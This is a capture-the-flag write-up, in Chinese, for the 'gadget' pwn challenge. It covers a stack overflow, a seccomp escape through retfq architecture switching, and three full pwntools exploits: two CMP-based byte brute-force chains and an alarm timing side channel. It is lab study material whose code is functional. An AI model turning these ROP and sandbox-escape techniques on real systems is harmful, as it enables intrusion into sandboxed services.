Gadget 复现
1 2 3 4 5 6 gadget: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), statically linked, not stripped Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
64位,statically,开了NX
1 2 3 4 5 6 7 8 9 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000000 A = sys_number 0001 : 0x25 0x03 0x00 0x40000000 if (A > 0x40000000 ) goto 0005 0002 : 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006 0003 : 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006 0004 : 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006 0005 : 0x06 0x00 0x00 0x00000000 return KILL 0006 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
白名单:fstat,read,alarm
入侵分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v3; __int64 v4; int v5; int v6; char input[44 ]; int v10; v10 = 0 ; alarm_sys(48LL , argv, envp); install_seccomp(48LL , (__int64)argv, v3, v4, v5, v6); read_sys(input); return (int )&locret_401002; }
1 2 3 4 5 6 void __fastcall read_sys (char *a1) { signed __int64 v1; v1 = sys_read(0 , a1, 0xC0 uLL); }
有栈溢出,但是开了沙盒,只允许 fstat,read,alarm 函数被调用
这里可以使用一种名为:沙盒逃逸的技术,因为每个架构的系统调用号不同,如果能够更改架构,就能绕过沙盒的限制,要实现这点需要3个条件:
第一个对 arch 没有检查
第二个需要对特定的系统调用号没有禁用,比如 Linux 的 32 位 execve 的系统调用号是 11,64 位的系统调用号是 59,如果更改 64 位为 32 位就需要没有禁用 32 位 execve 的系统调用号 11,反之更改 32 位为 64 位则需要没有禁用 64 位的 execve 系统调用号 59
第三需要能够使用 sys_mmap 或 sys_mprotect,因为如果要改变 arch 一般找不到合适的 gadget 使用,所以需要使用 shellcode,而使用 shellcode 需要有一块可写可执行的内存,而这块内存可以使用 sys_mmap 或 sys_mprotect 来获取
1 2 3 4 5 6 #define __NR_read 0 #define __NR_fstat 5 #define __NR_alarm 37 #define __NR_open 5
可以使用 32 位的 open 打开文件,然后回到 64 位把 flag 读出来
修改程序运行模式需要用到 retfq/retf 这个指令
这个指令有两步操作:pop ip;pop cs(retf 是32位的 pop,retfq 是64位的 pop)
cs=0x23 程序以32位模式运行
cs=0x33 程序以64位模式运行
现代的 CS 寄存器中用于存放数据段选择子(Code-Segment Descriptors),如下为其格式:
选择子的 D 标志位,它用以区分程序应该运行在32位还是64位架构上
使用 ropper 把 gadget 提取出来:
1 2 3 4 5 ➜ Gadget time ropper --file ./gadget --nocolor > g1 [INFO] Load gadgets for section: LOAD [LOAD] loading... 100 % [LOAD] removing double gadgets... 100 % ropper --file ./gadget --nocolor > g1 0.30 s user 0.34 s system 103 % cpu 0.620 total
思路1:控制 read 输入任意大小的字节,利用汇编代码CMP单字节爆破 flag(非预期)
因为程序自带的 read 只能输入“0xC0”字节,可能写不完 ROP 链,所以我们的第一个目标就是构造一个 read,向一片固定区域写入 ROP 链
程序开了 ASLR,没有开 PIE,最好在 bss 段上进行 ROP,所以要进行栈迁移,接下来就是寻找合适的 gadget 了,接下来谈一谈我找寻 gadget 的思路:
执行 read 系统调用,需要控制 rax,rdi,rsi,rdx,所以我们先找一找直接 pop 这些寄存器代码(必须要带有 ret)
1 2 3 4 5 0x0000000000401001 : pop rax; ret; 0x0000000000401734 : pop rdi; pop rbp; ret; 0x0000000000401732 : pop rsi; pop r15; pop rbp; ret; 0x00000000004079db : pop rdx; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0xfdbf ; 0x0000000000408865 : syscall; ret;
程序往往不会直接提供它们的 pop(尤其是 rdx),在控制这些寄存器的同时,往往会改变一下其他的数据,产生“代价”(副作用)
比如:pop rdx 产生的“代价”为“ret 0xfdbf”,中断了我们的 ROP 链,接下来就要考虑通过 mov 来间接获取 rdx(必须有 ret,尽量不改变 rax,rdi,rsi,没有 syscall,有 call 可以酌情考虑)
1 0x0000000000402c05 : mov esi, edi; mov rdx, r12; call r14; mov edi, eax; call 0x1010 ; ret;
这条指令虽然有 call r14,但是 r14 是可以控制的,可以将其修改为 syscall 完成最后的收尾,很容易就可以找到控制 r14 的指令,随便找到控制 r12 的指令(间接控制 rdx)
1 2 0x0000000000401731 : pop r14; pop r15; pop rbp; ret; 0x000000000040172f : pop r12; pop r14; pop r15; pop rbp; ret;
1 0x0000000000409d1c : pop rsp; mov edi, 0x88bf2838 ; ret;
最后进行组合:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 bss_addr = elf.bss()+0x400 pop_rax_ret = 0x0000000000401001 pop_rdi_pop_rbp_ret = 0x0000000000401734 pop_rsi_pop_r15_pop_rbp_ret = 0x0000000000401732 syscall_ret = 0x0000000000408865 mov_rdx_r12_call_r14 = 0x0000000000402c05 +2 pop_r14_pop_r15_pop_rbp_ret = 0x0000000000401731 pop_r12_pop_r14_pop_r15_pop_rbp_ret=0x000000000040172f pop_rsp_ret = 0x0000000000409d1c payload = "a" *0x30 + "b" *0x8 payload += p64(pop_rax_ret) + p64(0 ) + p64(pop_rdi_pop_rbp_ret) + p64(0 ) + p64(0 ) payload += p64(pop_rsi_pop_r15_pop_rbp_ret) + p64(bss_addr) + p64(0 ) + p64(0 ) payload += p64(pop_r14_pop_r15_pop_rbp_ret) + p64(syscall_ret) + p64(0 ) +p64(0 ) payload += p64(pop_r12_pop_r14_pop_r15_pop_rbp_ret) + p64(0x100 ) + p64(0 ) + p64(0 ) + p64(0 ) payload += p64(mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr+0x8 ) print ("payload >> " +hex (len (payload)))
很可惜超过“0xC0”的范围了,最终我采用了别人组好的 ROP 链:
1 2 3 4 5 6 7 8 9 10 11 12 bss_addr = elf.bss()+0x400 pop_rax_ret = 0x401001 pop_rdi_rbp_ret = 0x401734 pop_r12_r14_r15_rbp_ret = 0x40172f syscall_pop_rbp_ret = 0x401165 mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04 pop_rsp_ret = 0x409d1c payload = b'\x00' *0x38 payload += p64(pop_rax_ret) + p64(0 ) + p64(pop_rdi_rbp_ret) + p64(0 )*2 payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100 ) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0 ) payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8 )
大佬使用了一个巧妙的指令拆分:把 “mov esi, edi” 变为 “mov rsi, r15”
1 2 3 4 pwndbg> telescope 0x402c05 00 :0000 │ 0x402c05 (libc_start_main_stage2+30 ) ◂— mov esi, edipwndbg> telescope 0x402c04 00 :0000 │ 0x402c04 (libc_start_main_stage2+29 ) ◂— mov rsi, r15
现在简述一下方案的可行性:
CMP结果
ZF
CF
目的操作数 < 源操作数
0
1
目的操作数 > 源操作数
0
0
目的操作数 = 源操作数
1
0
如果“目的操作数”从 ASCII 的最小值开始增加,其实就只有两种情况:
目的操作数 < 源操作数,ZF=0
目的操作数 = 源操作数,ZF=1
大佬选择的 gadget 为:
1 0x0000000000408266 : cmp byte ptr [rax - 0x46 ], cl; push rbp; ret 0x5069 ;
一般出现 ret 0x5069 都是因为 ropper 识别出错(就可以把它认为是一个 ret)
push 后直接 ret,控制了 rbp 就等同于控制了 rip
为了区分 “ZF=0” 和 “ZF=1”,我们需要汇编指令:je / jne
助记符
说明
标志位/寄存器
je
相等时跳转
ZF=1
jne
不相等时跳转
ZF=0
为了把这种微小的差别映射到用户端,需要一些特殊的措施
先看看下面这一组很有意思的代码:
1 2 00 :0000 │ rbp 0x405831 (__lctrans_impl+173 ) ◂— jne 0x405837 00 :0000 │ 0x405837 (__lctrans_impl+179 ) ◂— jmp 0x405837
jne 跳转到 0x405837,然后 jmp 跳转它自己,造成循环
反应到用户端中,就是程序卡顿
我们可以利用这个性质,用 “recv(timeout = 1)” 接收报错信息,如果在1秒钟内没有接受到,就证明了程序陷入了循环,从而证明了 “ZF=0”,最终证明了 “目的操作数 < 源操作数”
如果:目的操作数 = 源操作数(ZF=1),程序会报错
如果:目的操作数 < 源操作数(ZF=0),程序会陷入循环
完整exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context(os = "linux" , arch = "amd64" ) elf = ELF("./gadget" ) possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}" bss_addr = elf.bss() + 0x500 pop_rax_ret = 0x401001 pop_rbx_r14_r15_rbp_ret = 0x403072 pop_rcx_ret = 0x40117b pop_rdi_rbp_ret = 0x401734 pop_rdi_jmp_rax = 0x402be4 pop_rsi_r15_rbp_ret = 0x401732 mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04 pop_r12_r14_r15_rbp_ret = 0x40172f pop_rsp_ret = 0x409d1c pop_rbp_ret = 0x401102 syscall_pop_rbp_ret = 0x401165 int_0x80_ret = 0x4011f3 retf_ret = 0x4011ed cmp_push_rbp_ret = 0x408266 jnz_loop = 0x405831 loop = 0x405837 def pwn (index, char ): payload = b'\x00' *0x38 payload += p64(pop_rax_ret) + p64(0 ) + p64(pop_rdi_rbp_ret) + p64(0 )*2 payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100 ) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0 ) payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8 ) io.send(payload.ljust(0xC0 , b'\x00' )) sleep(0.1 ) payload = b'./flag\x00\x00' + p64(pop_rax_ret) + p64(5 ) payload += p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0 )*3 payload += p64(pop_rcx_ret) + p64(0 ) payload += p64(retf_ret) + p32(int_0x80_ret) + p32(0x23 ) payload += p32(retf_ret) + p32(pop_rax_ret) + p32(0x33 ) + p64(0 ) payload += p64(pop_rdi_rbp_ret) + p64(3 ) + p64(0 ) payload += p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200 ) + p64(0 )*2 + p64(syscall_pop_rbp_ret) + p64(0 ) payload += p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index) payload += p64(pop_rcx_ret) + p64(char) payload += p64(pop_rbp_ret) + p64(jnz_loop) payload += p64(cmp_push_rbp_ret) io.send(payload) if __name__ == '__main__' : pos = 0 flag = "" while True : for i in possible_list : io = process('./gadget' ) pwn(pos, ord (i)) try : io.recv(timeout = 0.5 ) io.close() except : flag += i print (flag) io.close() break if i == '}' : break pos = pos + 1 success(flag)
思路2:分多段控制 sys_read,利用汇编代码CMP单字节爆破 flag(非预期)
首先还是要进行栈迁移,但这次不采用 syscall,而是直接使用程序中已有的 void read_sys(char a1):(只需要改变 a1 就可以了)
这样操作的话就不需要 pop rdx 了
但是必须分多次执行 read_sys(弥补长度不够的限制)
首先还是进行栈迁移,但这次我们采用 setcontext 中的万能模板(堆上ORW也会用到)
1 2 3 4 5 6 7 ► 0x40172a <install_seccomp+1274 > lea rsp, [rbp - 0x20 ] 0x40172e <install_seccomp+1278 > pop rbx 0x40172f <install_seccomp+1279 > pop r12 0x401731 <install_seccomp+1281 > pop r14 0x401733 <install_seccomp+1283 > pop r15 0x401735 <install_seccomp+1285 > pop rbp 0x401736 <install_seccomp+1286 > ret
第一段 ROP 链为:
1 2 3 4 5 6 7 flag_addr=elf.bss()+0x200 ROP_addr=elf.bss()+0x400 payload="a" *0x38 +p64(pop_rdi_pop_rbp_ret)+p64(ROP_addr)+p64(0 )+p64(read_addr) payload+=p64(pop_rbp_ret)+p64(ROP_addr+0x20 -0x28 +0x8 )+p64(lea_rsp_pop_0x28) p.send(payload.ljust(0xc0 ,'a' ))
flag_addr+0x20:为了规避 [rbp - 0x20] 的影响
flag_addr-0x28:避免 pop 0x28 的影响
flag_addr+0x8:跳过下面的的 “flag”.ljust(8,”\x00”)
接下来我们就要切换“32”位执行 open,然后换回“64”位继续调用 sys_read
第二段 ROP 链为:
1 2 3 4 5 6 7 8 payload2="./flag" .ljust(8 ,"\x00" ) payload2+=p64(retfq)+p64(pop_rbx_pop_r14_pop_r15_pop_rbp_ret)+p64(0x23 ) payload2+=p32(ROP_addr)+p32(0 )*3 +p32(pop_rcx_ret)+p32(0 ) payload2+=p32(pop_rax_ret)+p32(5 )+p32(int_0x80_ret) payload2+=p32(retfq)+p32(pop_rdi_pop_rbp_ret)+p32(0x33 ) payload2+=p64(ROP_addr+len (payload2)+24 )+p64(0 )+p64(read_addr) p.send(payload2.ljust(0xc0 ,'\x00' ))
接着就是执行 read,然后使用如下一段 gadget 来进行“对比”:
1 2 00 :0000 │ 0x408f72 (close_file+117 ) ◂— cmp rax, qword ptr [r15 + 0x38 ]01 :0008 │ 0x408f7a (close_file+125 ) ◂— int 0xb9
第三段 ROP 链为:
1 2 3 4 5 6 7 8 9 10 11 12 f='' c=len (f) caddr=flag_addr+c payload3=p64(pop_rdi_pop_rbp_ret)+p64(3 )+p64(0 ) payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(flag_addr)+p64(0 )*2 payload3+=p64(pop_rax_ret)+p64(0 )+p64(syscall_ret) payload3+=p64(pop_rdi_pop_rbp_ret)+p64(caddr+1 )+p64(0 )+p64(read_addr) payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(0 )+p64(caddr-0x38 )+p64(0 ) payload3+=p64(pop_rax_ret)+p64(guess)+p64(cmpa) p.send(payload3.ljust(0xc0 ,'\x00' ))
总体的逻辑和“思路1”类似,只是栈迁移和最后的 cmp gadget 使用的不一样,实际上 GDB 跟进时是这样的:
1 2 3 ► 0x408f72 <close_file+117 > cmp rax, qword ptr [r15 + 0x38 ] 0x408f76 <close_file+121 > mov eax, 0xcd2cfca4 0x408f7b <close_file+126 > mov ecx, 0xdf6f8009
如果:目的操作数 < 源操作数(ZF=0),程序会报错
如果:目的操作数 = 源操作数(ZF=1),程序会陷入循环
最后还有一个值得注意的地方:
cmp rax, qword ptr [r15 + 0x38] 的对比的大小为 qword,而我们希望一次性只对比单个字节,
所以需要再调用一次 sys_read 把除了“第一字节”以外的其他字节置空
第四段 ROP 链为:
1 2 payload4='\x00' *0xf +p64(0 ) p.send(payload4)
完整exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *elf = ELF("./gadget" ) read_addr=0x401170 retfq=0x4011EC int_0x80_ret=0x4011F3 syscall_ret=0x408865 pop_rax_ret=0x401001 pop_rbp_ret=0x401102 pop_rbx_pop_r14_pop_r15_pop_rbp_ret=0x403072 pop_rcx_ret=0x40117b pop_rdi_pop_rbp_ret=0x401734 pop_rsi_pop_r15_pop_rbp_ret=0x401732 flag_addr=elf.bss()+0x200 ROP_addr=elf.bss()+0x400 lea_rsp_pop_0x28=0x40172A cmpa=0x408F72 possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}" f='' c=len (f) if_ok=False while (not if_ok): caddr=flag_addr+c for guess in possible_list: p=process('./gadget' ) payload="a" *0x38 +p64(pop_rdi_pop_rbp_ret) payload+=p64(ROP_addr)+p64(0 )+p64(read_addr) payload+=p64(pop_rbp_ret)+p64(ROP_addr+0x20 -0x28 +0x8 )+p64(lea_rsp_pop_0x28) p.send(payload.ljust(0xc0 ,'a' )) payload2="./flag" .ljust(8 ,"\x00" ) payload2+=p64(retfq)+p64(pop_rbx_pop_r14_pop_r15_pop_rbp_ret)+p64(0x23 ) payload2+=p32(ROP_addr)+p32(0 )*3 +p32(pop_rcx_ret)+p32(0 ) payload2+=p32(pop_rax_ret)+p32(5 )+p32(int_0x80_ret) payload2+=p32(retfq)+p32(pop_rdi_pop_rbp_ret)+p32(0x33 ) payload2+=p64(ROP_addr+len (payload2)+24 )+p64(0 )+p64(read_addr) p.send(payload2.ljust(0xc0 ,'\x00' )) payload3=p64(pop_rdi_pop_rbp_ret)+p64(3 )+p64(0 ) payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(flag_addr)+p64(0 )*2 payload3+=p64(pop_rax_ret)+p64(0 )+p64(syscall_ret) payload3+=p64(pop_rdi_pop_rbp_ret)+p64(caddr+1 )+p64(0 )+p64(read_addr) payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(0 )+p64(caddr-0x38 )+p64(0 ) payload3+=p64(pop_rax_ret)+p64(ord (guess))+p64(cmpa) p.send(payload3.ljust(0xc0 ,'\x00' )) payload4='\x00' *0xf +p64(0 ) p.send(payload4) try : p.send('ok' ) p.recv(timeout=0.5 ) f+=guess print (f) if (guess=="}" ): if_ok=True break p.close() break except : p.close() c=c+1 print (f)p.interactive()
思路3:ORA 侧信道攻击(预期)
“思路3”和“思路2”相似,只是最后“获取flag”的思路有所不同,核心利用如下:
1 2 3 4 5 .text:000000000040115 D mov eax, 25 h .text:0000000000401162 mov edi, [rbp-8 ] ; seconds .text:0000000000401165 syscall ; LINUX - sys_alarm .text:0000000000401167 pop rbp .text:0000000000401168 retn
可以发现:alarm 会把 [rbp-8] 中的值装入 edi 中,作为关闭进程的时间
所以只要控制 rbp,把单字节的 flag 作为 sys_alarm 的参数,然后记录系统关闭的时间,对比一下就可以计算出 flag
现在,利用的关键就在于:如何及时知晓系统关闭的时间?
这里我们可以参考“思路1”,“思路2”:使程序陷入循环
1 2 00 :0000 │ 0x4011c5 (func+21 ) ◂— push rsi00 :0000 │ 0x4011c6 (func+22 ) ◂— ret
1 2 3 4 5 00 :0000 │ 0x401732 (install_seccomp+1282 ) ◂— pop rsi00 :0000 │ 0x401733 (install_seccomp+1283 ) ◂— pop r1500 :0000 │ 0x401734 (install_seccomp+1284 ) ◂— pop rdi00 :0000 │ 0x401735 (install_seccomp+1285 ) ◂— pop rbp00 :0000 │ 0x401736 (install_seccomp+1286 ) ◂— ret
1 2 bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0 )*2 bss_payload3 += p64(push_rsi_ret)
寄存器 rsi 被控制为 “push_rsi_ret”
rsi 压栈,然后被 ret 执行,程序开始不停地执行 “push_rsi_ret”
期间我们可以持续利用 try 向程序输入数据,因为程序陷入循环,所以命令行不起作用
直到 alarm 的时间用尽,程序结束,再输入数据时就会报错,触发 except,并记录时间
完整exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 from pwn import *import timeimport sysimport threadingcontext.arch = "amd64" flag = {} lock = threading.Lock() bss = 0x40c000 flag_ch_pos = bss+0x1500 fake_stack = bss+0x1000 fake_stack2 = bss+0x1100 fake_stack3 = bss+0x1200 retfq = 0x4011ec retf = 0x4011ed ret = 0x40312c leave_ret = 0x7ffff7ffde52 pop_rsp_ppp_ret = 0x401730 pop_rdi_rbp = 0x401734 pop_rsi_r15_rbp = 0x401732 pop_rbp_ret = 0x401102 pop_rax_ret = 0x401001 pop_rcx_ret = 0x40117b pop_rbx_ppp_ret = 0x403072 int_0x80_ret = 0x4011f3 syscall_ret = 0x408865 read_0xc0_gadget = 0x401170 push_rsi_ret = 0x4011c5 int3 = 0x4011eb alarm_gadget = 0x40115D ''' .text:000000000040115D mov eax, 25h .text:0000000000401162 mov edi, [rbp-8] ; seconds .text:0000000000401165 syscall ; LINUX - sys_alarm .text:0000000000401167 pop rbp .text:0000000000401168 retn ''' def exp (curr_ch ): p = process("./gadget" ) offset = 0x38 move_stack_payload = b"A" *0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget) move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) p.send(move_stack_payload) time.sleep(0.5 ) bss_payload = b"./flag\x00\x00" bss_payload += p64(0 )*2 bss_payload += p64(retfq) + p64(ret) + p64(0x23 ) bss_payload += p32(pop_rax_ret) + p32(5 ) bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3 bss_payload += p32(pop_rcx_ret) + p32(0 ) bss_payload += p32(int_0x80_ret) bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33 ) bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2) p.send(bss_payload) time.sleep(0.5 ) bss_payload2 = p64(0xdeadbeef ) bss_payload2 += p64(0 )*2 bss_payload2 += p64(pop_rax_ret) + p64(0 ) bss_payload2 += p64(pop_rdi_rbp) + p64(3 ) + p64(0xdeadbeef ) bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0 )*2 bss_payload2 += p64(syscall_ret) bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1 ) + p64(0 ) + p64(read_0xc0_gadget) bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3) p.send(bss_payload2) time.sleep(0.5 ) p.send(b"\x00" *0x7 ) time.sleep(0.5 ) bss_payload3 = p64(0xdeadbeef ) bss_payload3 += p64(0 )*2 bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8 ) bss_payload3 += p64(alarm_gadget) bss_payload3 += p64(0xdeadbeef ) bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0 )*2 bss_payload3 += p64(push_rsi_ret) p.send(bss_payload3) start = time.time() for i in range (1000 ): try : p.send(b"a" ) except : end = time.time() time_used = int (end-start) print (f"[ROUND {curr_ch} ] Time used:" , end-start) print (f"[ROUND {curr_ch} ] CHAR: '{chr (time_used)} ' ({hex (time_used)} )" ) lock.acquire() flag[curr_ch] = chr (time_used) lock.release() return finally : time.sleep(0.3 ) print (f"[ROUND {curr_ch} ] ERROR" ) p.close() return if __name__ == "__main__" : pool = [] for _round in range (9 ): th = threading.Thread(target=exp, args=(_round , )) th.setDaemon = True pool.append(th) th.start() for th in pool: th.join() flag = {k: v for k, v in sorted (flag.items(), key=lambda item: item[0 ])} print (flag) flag_str = "" for k, v in flag.items(): flag_str = flag_str + v print (flag_str)
小结:
这个题目是组里的大佬出的,去年复现的时候就是调了一下 exp,gadget 都没有自己找,如今再看看这个题目,还是可以学习到很多东西
网上的非预期都是依靠 CMP 指令,单字节对比 flag 和猜测值,然后爆破出 flag,这种思路的关键就是想方设法 “放大CMP” 的影响,将其反应到用户端,使 exp 可以检测到(当然合适的 gadget 也很难找)
网上常见的几种 exp 的处理:使程序陷入循环,然后 try-recv() 报错信息
最后的 ORA 是我以前没有遇见过的,去年的复现根本就没有考虑过这个方法,这个方法的 exp 执行过程很卡,如果 flag 特别长,服务器的网络不好的话,就很容易崩